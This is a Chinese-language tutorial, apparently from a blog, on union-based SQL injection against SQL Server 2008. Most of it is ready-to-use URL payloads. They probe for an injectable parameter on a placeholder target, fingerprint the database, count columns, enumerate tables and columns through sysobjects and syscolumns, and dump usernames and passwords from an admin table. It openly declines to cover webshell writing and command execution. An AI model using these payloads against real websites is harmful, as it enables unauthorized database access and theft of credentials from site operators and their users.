1. 程式人生 > >SQL注入--sql server

SQL注入--sql server

談到SQL注入,不得不提它的本質,把使用者的輸入資料當做程式碼來執行。兩個關鍵條件,第一個是使用者能夠控制的輸入;第二個是程式要執行的程式碼,拼接了使用者輸入的資料

按照注入的技術型別可分解為:

顯錯注入和盲注入,其中盲注入可分為,聯合查詢注入,堆查詢注入,DNS查詢注入,報錯注入,延時注入和布林注入。這篇文章重點在分享一些聯合查詢注入的命令

1.首先來判斷注入點(URL類)

當目標URL為:www.target.com/1.php?id=88時,來進行簡單的注入點判斷;

www.target.com/1.php?id=88-0 無變化
www.target.com/1.php?id=88-1 報錯


www.target.com/1.php?id=88 and 1=1 無變化
www.target.com/1.php?id=88-1 and 1=2 報錯

2.判斷是何種資料庫
URL+/*!%20s*/ 錯誤則是MySQL;URL+/*pc 正常為MySQL

URL+and exists(select @@version)-- 正常為SQL Server

3.SQL Server 2008注入過程

判斷欄位數:

id=1/**/Order/**/By/**/5/**/-- 正常則欄位數≥5      --和/**/均為註釋用來註釋執行語句時的程式碼 保證注入程式碼正常執行
id=1/**/Order/**/By/**/6/**/-- 錯誤則欄位數<6

判斷資料型別,字元型就可以SQL注入了

id=1/**/union/**/all/**/select/**/NULL,NULL,NULL,NULL,NULL--   正常
id=1/**/union/**/all/**/select/**/NULL,NULL,’test’,NULL,NULL--    正常
(一位一位去嘗試)

顯示資料庫版本
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,NULL,@@version,NULL,NULL--

當前庫名
and/**/1=2/**/union/**/all/**/select/**/NULL,db_name(),NULL,NULL,NULL from sysobjects--

指定庫表名
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from庫名..sysobjects where xtype='u' and name not in(select top 0 name from 庫名..sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--

當前庫查詢表

and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--     //第二個top從0開始輸入 1,2,....列出當前庫所有表名

查詢admin變內的欄位

d=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='admin'))),NULL,NULL,NULL fromsysobjects--//第二個top從0開始遍歷

檢視admin變欄位id,username,password的內容

id=1 and 1=2 union all select id,username,password,NULL,NULL from admin--

webshell寫入和系統命令執行就不能再分享了